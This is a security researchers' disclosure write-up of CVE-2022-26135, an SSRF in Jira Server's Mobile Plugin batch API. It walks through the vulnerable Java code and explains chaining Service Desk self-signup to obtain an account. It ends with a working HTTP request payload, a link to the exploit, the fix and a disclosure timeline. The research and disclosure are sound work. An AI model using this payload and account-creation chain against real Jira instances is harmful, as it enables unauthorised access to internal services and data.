Abusing functionality to exploit a super SSRF in Jira Server (CVE-2022-26135)

Jun 26, 2022

TL;DR Jira is vulnerable to SSRF which requires authentication to exploit. There are multiple ways to create user accounts on Jira in order to exploit this issue depending on the configuration of the Jira instance. As an attack chain, it may be possible for an attacker to exploit this issue without known credentials. The advisory from Atlassian can be found here.

The exploit code for this vulnerability can be found here. This exploit attempts to register an account on Jira Core or Jira Service Desk and then exploits the SSRF vulnerability automatically.

Introduction

Jira is the most popular issue tracking software on the internet. It is used by businesses of all sizes, from small businesses to the Fortune 100. As security researchers, researching vulnerabilities within Jira holds significant value due to the potential impacts they may have across a wide range of businesses.

Our security research team discovered a vulnerability within Jira Server Core, which allows attackers to make requests to arbitrary URLs, with any HTTP method, headers and body. While this SSRF vulnerability was quite powerful, by default, this vulnerability is only exploitable after you have authenticated to the Jira instance.

We spent a few days looking for an authentication bypass in Jira so that we could exploit the SSRF we discovered pre-authentication, until we had a lightbulb moment. We realised that we could abuse the functionalities of Jira Service Desk to obtain an account on a Jira instance. This chain allowed us to exploit this SSRF vulnerability without knowing a valid pair of credentials (Jira Service Desk is often configured to provision accounts).

The Discovery Process

Over the last decade, we’ve tracked, analysed and focused on Atlassian’s suite of products when it comes to security advisories. The software that Atlassian produces is extremely popular and the diversity of businesses that use it have always motivated us to stay on top of the various security issues discovered in their products.

In April this year, a security advisory was published for Jira regarding an authentication bypass vulnerability in Seraph. My colleague, Dylan, and I, were tasked with writing checks for our Attack Surface Management Platform. One of the plugins listed in the advisory that was vulnerable to the Seraph authentication bypass was the Mobile Plugin for Jira.

While analysing this security advisory, we made ourselves very familiar with all of the affected plugins, and most importantly, the Mobile Plugin for Jira, which is where we discovered our server-side request forgery vulnerability.

Let our experiences in analysing patches, advisories and published security issues be yet another reason for you to consider doing the same. You never know what you may find in the process of reverse engineering.

Code Analysis

With Jira plugins, it is possible to register REST routes which can typically be called through jira-base-url/rest/. When looking at the Mobile Plugin for Jira, we noticed the following block of code inside com/atlassian/jira/plugin/mobile/rest/v1_0/BatchResource.java:

/*    */ @Tag(name = "Batch API", description = "Contains all operations for batch requests")
/*    */ @Path("/batch")
/*    */ @Consumes({"application/json"})
/*    */ @Produces({"application/json"})
/*    */ @Component
/*    */ public class BatchResource
/*    */ {
/*    */   private final BatchService batchService;
/*    */   
/*    */   @Autowired
/*    */   public BatchResource(BatchService batchService) {
/* 50 */     this.batchService = batchService;
/*    */   }

/*    */   @Operation(description = "Executes a batch request", responses = {@ApiResponse(responseCode = "200", description = "List of responses to all requests in the batch", content = {@Content(array = @ArraySchema(schema = @Schema(implementation = BatchResponseBean.class)))}), @ApiResponse(responseCode = "400", description = "In any of the following conditions are met:\n- A request method is not set\n- A request location is not set\n- The amount of batch requests given is greater than 5")})
/*    */   @POST
/*    */   public Response executeBatch(@Context HttpServletRequest httpRequest, RequestsBean<BatchRequestBean> requestsBean) {
/* 70 */     List<String> errors = validate(requestsBean);
/* 71 */     if (!errors.isEmpty()) {
/* 72 */       return Response.status(400).entity(errors).build();
/*    */     }
/*    */     
/* 75 */     Map<String, String> headers = UriUtils.extractValidHeaders(httpRequest);
/* 76 */     List<BatchResponseBean> responseBeans = this.batchService.batch(requestsBean, headers);
/* 77 */     return Response.ok().entity(new ResponsesBean((List)ImmutableList.copyOf(responseBeans))).build();
/*    */   }
/*    */   
/*    */   private List<String> validate(RequestsBean<BatchRequestBean> requestsBean) {
/* 81 */     List<String> errors = new ArrayList<>();
/*    */     
/* 83 */     if (requestsBean.getRequests().size() > 5) {
/* 84 */       errors.add("Number of requests exceed the maximum number of requests");
/*    */     }
/*    */     
/* 87 */     for (BatchRequestBean batchRequestBean : requestsBean.getRequests()) {
/* 88 */       if (batchRequestBean.getMethod() == null) {
/* 89 */         errors.add("HTTP method may not be null");
/*    */       }
/* 91 */       if (StringUtils.isBlank(batchRequestBean.getLocation())) {
/* 92 */         errors.add("Location may not be null or empty");
/*    */       }
/*    */     } 
/*    */     
/* 96 */     return errors;
/*    */   }
/*    */ }

The batch API built into the Mobile Plugin for Jira looks like it was intended to take in multiple requests and execute them on the server side. The line that we will be following through is List<BatchResponseBean> responseBeans = this.batchService.batch(requestsBean, headers); which is responsible for actually sending the HTTP requests. The batchService is located in com/atlassian/jira/plugin/mobile/service/impl/BatchServiceImpl.java.

The code for this can be found below:

/*     */   public List<BatchResponseBean> batch(RequestsBean<BatchRequestBean> requestsBean, Map<String, String> headers) {
/*  64 */     AtomicBoolean skipBatch = new AtomicBoolean(false);
/*  65 */     return (List<BatchResponseBean>)requestsBean.getRequests().stream()
/*  66 */       .sequential()
/*  67 */       .map(requestBean -> {
/*     */           if (skipBatch.get()) {
/*     */             return buildResponse(requestBean.getLocation(), 503);
/*     */           }
/*     */           
/*     */           Optional<BatchResponseBean> responseBean = execute(requestBean, headers);
/*     */           
/*     */           if (!responseBean.isPresent()) {
/*     */             skipBatch.set(true);
/*     */             
/*     */             return buildResponse(requestBean.getLocation(), 500);
/*     */           } 
/*     */           if (!isValidResponse(responseBean.get())) {
/*     */             skipBatch.set(true);
/*     */           }
/*     */           return responseBean.get();
/*  83 */         }).collect(Collectors.toList());
/*     */   }

The line we’re interested in from the above snippet of code is Optional<BatchResponseBean> responseBean = execute(requestBean, headers);. The source code for this can be found below:

/*     */   private Optional<BatchResponseBean> execute(BatchRequestBean requestBean, Map<String, String> headers) {
/*  92 */     String relativeLocation = requestBean.getLocation();
/*  93 */     URL jiraLocation = toJiraLocation(relativeLocation);
/*  94 */     if (jiraLocation == null) {
/*  95 */       return Optional.of(buildResponse(relativeLocation, 400));
/*     */     }
/* 101 */     Request request = (new Request.Builder()).url(jiraLocation).headers(Headers.of(headers)).method(requestBean.getMethod().name(), (requestBean.getBody() == null) ? null : RequestBody.create(JSON, requestBean.getBody().toString())).build();
/*     */     
/*     */     try {
/* 104 */       Response response = this.httpClientProvider.sendRequest(request);
/* 105 */       BatchResponseBean responseBean = toResponseBean(relativeLocation, response);
/* 106 */       return Optional.of(responseBean);
/* 107 */     } catch (Exception e) {
/* 108 */       log.error("Error when calling url: [" + relativeLocation + "]", e);
/* 109 */       return Optional.empty();
/*     */     } 
/*     */   }

We can see that the URL is crafted through the following line of code: String relativeLocation = requestBean.getLocation(); URL jiraLocation = toJiraLocation(relativeLocation);. The code is obtaining the location from the JSON object we are sending this to API, and then it is constructing a “Jira Location” by passing in the location we specify in our request.

We can see the source code for toJiraLocation and it’s associated functions below:

/*     */   private URL toJiraLocation(String relativeLocation) {
/*     */     try {
/* 145 */       return this.linkBuilder.forRelativePath(relativeLocation).toURL();
/* 146 */     } catch (Exception e) {
/* 147 */       log.warn("Cannot parse relative location: [" + relativeLocation + "]");
/* 148 */       return null;
/*     */     } 
/*     */   }

linkBuilder.forRelativePath can be found in com/atlassian/jira/plugin/mobile/util/LinkBuilder.java

/*    */   public URI forRelativePath(String path) {
/* 27 */     return URI.create(this.jiraBaseUrls.baseUrl() + path);
/*    */   }

Have you spotted the issue?

The URL is constructed through a simple concatenation: URI.create(this.jiraBaseUrls.baseUrl() + path);.

As an attacker, you can simply specify @targethost.com which will ultimately construct the URL https://[email protected]. When this URL hits the HTTP client, the client will send a request to targethost.com.

After the URL has been constructed, the sink for this issue is this.httpClientProvider.sendRequest(request); which uses OkHttpClient to send the HTTP requests.

SSRF Capabilities & Limitations

Capabilities:

  • We can send up to 5 requests at a time through this Batch API
  • We can send requests with any HTTP method (method parameter in JSON)
  • We can send requests with any HTTP headers (takes headers from our request and copies them over)
  • We can send requests with any HTTP body (body parameter in JSON)

Limitations:

  • The protocol is not controllable, you have to use a HTTP redirect if you want to request a URL which is a different protocol (https -> http for example)
  • The host header may not be controllable depending on webserver configuration

The Lightbulb Moment

While it is great that we have found an SSRF vulnerability in Jira, we’re still not able to weaponise it as it is post-authentication. As mentioned previously in this blog post, we spent a few days looking for an authentication bypass, but we were unable to find one.

The lightbulb moment occurred when we considered the context of Atlassian’s Jira ecosystem and how different components may interact with each other.

Atlassian also have a product called Jira Service Desk, which is often installed along side Jira Core. It is very common to see scenarios where Jira Service Desk signups are enabled. This is often the case because companies would like their self service mechanisms to be … self service.

We were able to successfully exploit this post-authentication vulnerability by first registering on Jira Service Desk, and then using that account to access the Jira Core REST APIs.

This vulnerability is rated high severity due to this exploit chain.

You can sign up to Jira Service Desk through the following URL: /servicedesk/customer/user/signup. Note: this endpoint being exposed is not an indicator that signups are actually enabled. In order to determine if signups are enabled, you must actually send a signup request.

Our exploit that is published on GitHub attempts to sign up to Jira Service Desk and then exploit the SSRF issue, however, this can not always be automated due to some signup flows requiring manual user interaction (i.e. captchas, email).

Exploit

You can obtain our exploit code for this issue by visiting the following URL: https://github.com/assetnote/jira-mobile-ssrf-exploit.

The following HTTP request can be used to reproduce this issue, once authenticated to the Jira instance:

POST /rest/nativemobile/1.0/batch HTTP/2
Host: issues.example.com
Cookie: JSESSIONID=44C6A24A15A1128CE78586A0FA1B1662; seraph.rememberme.cookie=818752%3Acc12c66e2f048b9d50eff8548800262587b3e9b1; atlassian.xsrf.token=AES2-GIY1-7JLS-HNZJ_db57d0893ec4d2e2f81c51c1a8984bde993b7445_lin
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Content-Type: application/json
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Origin: https://issues.example.com
Referer: https://issues.example.com/plugins/servlet/desk
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Content-Length: 63

{"requests":[{"method":"GET","location":"@example.com"}]}

Solution

The remediation details provided from Atlassian’s advisory are satisfactory and will ensure that this vulnerabilty cannot be exploited.

The knowledge base article detailing the patches or workaround to apply can be found here.

Timeline

The timeline for this disclosure process can be found below:

  • Apr 21st, 2022: Disclosure of SSRF vulnerability affecting Jira server & Jira Cloud to Atlassian’s security team
  • Apr 21st, 2022: Atlassian confirms security vulnerability and triages it in their internal issue tracker.
  • June 22nd, 2022: Atlassian confirms advisory publication date and asks us for credit information.
  • June 29th, 2022: Atlassian publishes advisory with patches.

The Atlassian team worked with us to quickly remediate this issue in Jira.

Conclusion

Assessing vendor advisories, patches and reverse engineering the affected components can sometimes lead to the discovery of new vulnerabilities.

In this case, we discovered a full read SSRF vulnerability while reverse engineering some patches from Atlassian from earlier this year.

Additionally, even when it is not possible to bypass authentication through vulnerabilities, consider the full context of the application and its functionalities to determine alternative methods to exploit the issues that were discovered in the post-authentication attack surface.

As always, customers of our Attack Surface Management platform were the first to know when this vulnerability affected them. We continue to perform original security research in an effort to inform our customers about zero-day vulnerabilities in their attack surface.